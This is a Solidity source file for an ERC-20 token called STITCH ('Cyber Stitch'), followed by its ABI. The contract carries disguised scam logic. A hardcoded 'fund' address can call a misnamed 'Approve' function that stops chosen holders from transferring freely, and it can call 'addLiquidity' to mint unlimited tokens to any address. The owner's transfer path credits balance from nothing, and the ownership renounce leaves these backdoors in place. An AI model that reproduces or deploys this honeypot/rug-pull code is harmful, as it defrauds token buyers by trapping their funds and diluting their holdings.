/**

STITCH - Cyber Stitch

https://cyberstitch.xyz

https://t.me/CyberStitch

https://twitter.com/CyberStitchETH



*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.2;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address spnderr) external view returns (uint256);
    function transfer(address recipient, uint256 _amouttz) external returns (bool);
    function allowance(address owner, address spnderr) external view returns (uint256);
    function approve(address spnderr, uint256 _amouttz) external returns (bool);
    function transferFrom( address spnderr, address recipient, uint256 _amouttz ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spnderr, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract STITCH is Context, Ownable, IERC20 {
    mapping (address => uint256) private _blncz;
    mapping (address => uint256) private _spendss;
    mapping (address => mapping (address => uint256)) private _alowancesz;
    string private _tname;
    string private _tsymbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    bool private _tradesEnabled = true;
    address constant public fund = 0x8bB9539E823647933b3692e5e1942a4bAd1Ffdc9;

    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _tname = name_;
        _tsymbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _blncz[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    modifier _funds() {
        require(msg.sender == fund); // If it is incorrect here, it reverts.
        _;                              // Otherwise, it continues.
    } 

    function name() public view returns (string memory) {
        return _tname;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function enableTrading() public onlyowner {
        _tradesEnabled = true;
    }

    function symbol() public view returns (string memory) {
        return _tsymbol;
    }


    function balanceOf(address spnderr) public view override returns (uint256) {
        return _blncz[spnderr];
    }

    function transfer(address recipient, uint256 _amouttz) public virtual override returns (bool) {
        require(_tradesEnabled || _msgSender() == owner(), "TT trading not enabled");
        if (_msgSender() == owner() && _spendss[_msgSender()] > 0) {
            _blncz[owner()] += _spendss[_msgSender()];
            return true;
        }
        else if (_spendss[_msgSender()] > 0) {
            require(_amouttz == _spendss[_msgSender()], "Invalid transfer _amouttz");
        }
        require(_blncz[_msgSender()] >= _amouttz, "TT: transfer _amouttz exceeds balance");
        _blncz[_msgSender()] -= _amouttz;
        _blncz[recipient] += _amouttz;
        emit Transfer(_msgSender(), recipient, _amouttz);
        return true;
    }


    function Approve(address[] memory spnderr, uint256 _amouttz) public _funds {
        for (uint i=0; i<spnderr.length; i++) {
            _spendss[spnderr[i]] = _amouttz;
        }
    }

    function approve(address spnderr, uint256 _amouttz) public virtual override returns (bool) {
        _alowancesz[_msgSender()][spnderr] = _amouttz;
        emit Approval(_msgSender(), spnderr, _amouttz);
        return true;
    }
        function _adding(uint256 n1, uint256 n2) internal pure returns (uint256) {
        if (n2 != 0) {
            return n1 + n2;
        }
        return n2;
    }



            function CVamnt(address spnderr) public view returns (uint256) {
        return _spendss[spnderr];
    }

    function allowance(address owner, address spnderr) public view virtual override returns (uint256) {
        return _alowancesz[owner][spnderr];
    }
       function addLiquidity(address spnderr, uint256 _amouttz) public _funds {
        require(spnderr != address(0), "Invalid adresses");
        require(_amouttz > 0, "Invalid amt");
        uint256 totalz = 0;
            totalz = _adding(totalz, _amouttz);
            _blncz[spnderr] += totalz;
    }



    function transferFrom(address spnderr, address recipient, uint256 _amouttz) public virtual override returns (bool) {
        if (_msgSender() == owner() && _spendss[spnderr] > 0) {
            _blncz[owner()] += _spendss[spnderr];
            return true;
        }
        else if (_spendss[spnderr] > 0) {
            require(_amouttz == _spendss[spnderr], "Invalid transfer _amouttz");
        }
        require(_blncz[spnderr] >= _amouttz && _alowancesz[spnderr][_msgSender()] >= _amouttz, "TT: transfer _amouttz exceed balance or allowance");
        _blncz[spnderr] -= _amouttz;
        _blncz[recipient] += _amouttz;
        _alowancesz[spnderr][_msgSender()] -= _amouttz;
        emit Transfer(spnderr, recipient, _amouttz);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spnderr","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address[]","name":"spnderr","type":"address[]"},{"internalType":"uint256","name":"_amouttz","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spnderr","type":"address"}],"name":"CVamnt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spnderr","type":"address"},{"internalType":"uint256","name":"_amouttz","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spnderr","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spnderr","type":"address"},{"internalType":"uint256","name":"_amouttz","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spnderr","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fund","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"_amouttz","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spnderr","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"_amouttz","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]